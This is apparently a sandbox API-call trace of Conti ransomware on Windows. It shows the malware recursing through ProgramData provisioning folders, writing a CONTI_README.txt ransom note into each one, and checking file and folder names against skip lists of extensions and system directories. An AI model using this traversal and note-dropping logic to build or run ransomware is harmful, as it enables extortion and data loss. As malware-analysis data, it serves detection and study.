	[0106.539] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0106.541] GetProcessHeap () returned 0x1720000
	[0106.541] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65118b0 | out: hHeap=0x1720000) returned 1
	[0106.541] WriteFile (in: hFile=0x3a0, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.542] CloseHandle (hObject=0x3a0) returned 1
	[0106.542] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53578ef1, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8470
	[0106.542] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.542] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53578ef1, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.543] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.543] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.543] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53578ef1, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53578ef1, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53578ef1, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.543] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.543] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.543] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.543] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.543] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fedfc8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fedfc8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fedfc8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="customizations.xml", cAlternateFileName="")) returned 1
	[0106.543] lstrcmpiW (lpString1="customizations.xml", lpString2=".") returned 1
	[0106.543] lstrcmpiW (lpString1="customizations.xml", lpString2="..") returned 1
	[0106.543] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.543] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.543] StrStrIW (lpFirst="customizations.xml", lpSrch=".exe") returned 0x0
	[0106.543] StrStrIW (lpFirst="customizations.xml", lpSrch=".dll") returned 0x0
	[0106.543] StrStrIW (lpFirst="customizations.xml", lpSrch=".lnk") returned 0x0
	[0106.543] StrStrIW (lpFirst="customizations.xml", lpSrch=".sys") returned 0x0
	[0106.543] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.543] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.543] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned 76
	[0106.543] lstrlenW (lpString="customizations.xml") returned 18
	[0106.543] GetProcessHeap () returned 0x1720000
	[0106.543] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x65118b0
	[0106.543] lstrcpyW (in: lpString1=0x65118b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}"
	[0106.543] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\"
	[0106.543] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\", lpString2="customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml"
	[0106.543] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1
	[0106.543] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2=".") returned 1
	[0106.543] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2="..") returned 1
	[0106.543] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.543] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.543] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".exe") returned 0x0
	[0106.543] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".dll") returned 0x0
	[0106.543] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".lnk") returned 0x0
	[0106.544] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".sys") returned 0x0
	[0106.544] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.544] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.544] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned 76
	[0106.544] lstrlenW (lpString="MasterDatastore.xml") returned 19
	[0106.544] GetProcessHeap () returned 0x1720000
	[0106.544] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d648
	[0106.544] lstrcpyW (in: lpString1=0x181d648, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}"
	[0106.544] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\"
	[0106.544] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\", lpString2="MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml"
	[0106.544] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 1
	[0106.544] lstrcmpiW (lpString1="Prov", lpString2=".") returned 1
	[0106.544] lstrcmpiW (lpString1="Prov", lpString2="..") returned 1
	[0106.544] lstrcmpiW (lpString1="Prov", lpString2="tmp") returned -1
	[0106.544] lstrcmpiW (lpString1="Prov", lpString2="winnt") returned -1
	[0106.544] lstrcmpiW (lpString1="Prov", lpString2="Application Data") returned 1
	[0106.544] lstrcmpiW (lpString1="Prov", lpString2="AppData") returned 1
	[0106.544] lstrcmpiW (lpString1="Prov", lpString2="temp") returned -1
	[0106.544] lstrcmpiW (lpString1="Prov", lpString2="thumb") returned -1
	[0106.544] lstrcmpiW (lpString1="Prov", lpString2="$Recycle.Bin") returned 1
	[0106.544] lstrcmpiW (lpString1="Prov", lpString2="$RECYCLE.BIN") returned 1
	[0106.544] lstrcmpiW (lpString1="Prov", lpString2="System Volume Information") returned -1
	[0106.544] lstrcmpiW (lpString1="Prov", lpString2="Program Files") returned 1
	[0106.544] lstrcmpiW (lpString1="Prov", lpString2="Program Files (x86)") returned 1
	[0106.544] lstrcmpiW (lpString1="Prov", lpString2="Boot") returned 1
	[0106.544] lstrcmpiW (lpString1="Prov", lpString2="Windows") returned -1
	[0106.545] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned 76
	[0106.545] lstrlenW (lpString="Prov") returned 4
	[0106.545] GetProcessHeap () returned 0x1720000
	[0106.545] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732cc0
	[0106.545] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}"
	[0106.545] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\"
	[0106.545] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\", lpString2="Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov"
	[0106.545] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned 81
	[0106.545] GetProcessHeap () returned 0x1720000
	[0106.545] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x6587ca0
	[0106.545] lstrcpyW (in: lpString1=0x6587ca0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov"
	[0106.545] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\*"
	[0106.545] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned 81
	[0106.545] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.545] GetProcessHeap () returned 0x1720000
	[0106.545] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181cbb8
	[0106.545] lstrcpyW (in: lpString1=0x181cbb8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov"
	[0106.545] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\"
	[0106.545] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\CONTI_README.txt"
	[0106.545] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0106.546] GetProcessHeap () returned 0x1720000
	[0106.546] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cbb8 | out: hHeap=0x1720000) returned 1
	[0106.546] WriteFile (in: hFile=0x398, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0106.547] CloseHandle (hObject=0x398) returned 1
	[0106.547] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5359f3dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7f30
	[0106.547] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.547] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5359f3dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.547] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.547] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.547] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5359f3dd, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5359f3dd, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5359f3dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.547] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.547] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.547] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.547] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.547] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime", cAlternateFileName="")) returned 1
	[0106.547] lstrcmpiW (lpString1="RunTime", lpString2=".") returned 1
	[0106.547] lstrcmpiW (lpString1="RunTime", lpString2="..") returned 1
	[0106.548] lstrcmpiW (lpString1="RunTime", lpString2="tmp") returned -1
	[0106.548] lstrcmpiW (lpString1="RunTime", lpString2="winnt") returned -1
	[0106.548] lstrcmpiW (lpString1="RunTime", lpString2="Application Data") returned 1
	[0106.548] lstrcmpiW (lpString1="RunTime", lpString2="AppData") returned 1
	[0106.548] lstrcmpiW (lpString1="RunTime", lpString2="temp") returned -1
	[0106.548] lstrcmpiW (lpString1="RunTime", lpString2="thumb") returned -1
	[0106.548] lstrcmpiW (lpString1="RunTime", lpString2="$Recycle.Bin") returned 1
	[0106.548] lstrcmpiW (lpString1="RunTime", lpString2="$RECYCLE.BIN") returned 1
	[0106.548] lstrcmpiW (lpString1="RunTime", lpString2="System Volume Information") returned -1
	[0106.548] lstrcmpiW (lpString1="RunTime", lpString2="Program Files") returned 1
	[0106.548] lstrcmpiW (lpString1="RunTime", lpString2="Program Files (x86)") returned 1
	[0106.548] lstrcmpiW (lpString1="RunTime", lpString2="Boot") returned 1
	[0106.548] lstrcmpiW (lpString1="RunTime", lpString2="Windows") returned -1
	[0106.548] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned 81
	[0106.548] lstrlenW (lpString="RunTime") returned 7
	[0106.548] GetProcessHeap () returned 0x1720000
	[0106.548] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c6c78
	[0106.548] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov"
	[0106.548] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\"
	[0106.548] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\", lpString2="RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime"
	[0106.548] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime") returned 89
	[0106.548] GetProcessHeap () returned 0x1720000
	[0106.548] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0106.548] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime"
	[0106.548] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\*"
	[0106.548] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime") returned 89
	[0106.548] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.548] GetProcessHeap () returned 0x1720000
	[0106.548] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c3778
	[0106.548] lstrcpyW (in: lpString1=0x17c3778, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime"
	[0106.548] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\"
	[0106.548] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\CONTI_README.txt"
	[0106.548] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0106.549] GetProcessHeap () returned 0x1720000
	[0106.549] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3778 | out: hHeap=0x1720000) returned 1
	[0106.549] WriteFile (in: hFile=0x3c4, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.550] CloseHandle (hObject=0x3c4) returned 1
	[0106.550] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5359f3dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c85f0
	[0106.550] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.550] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5359f3dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
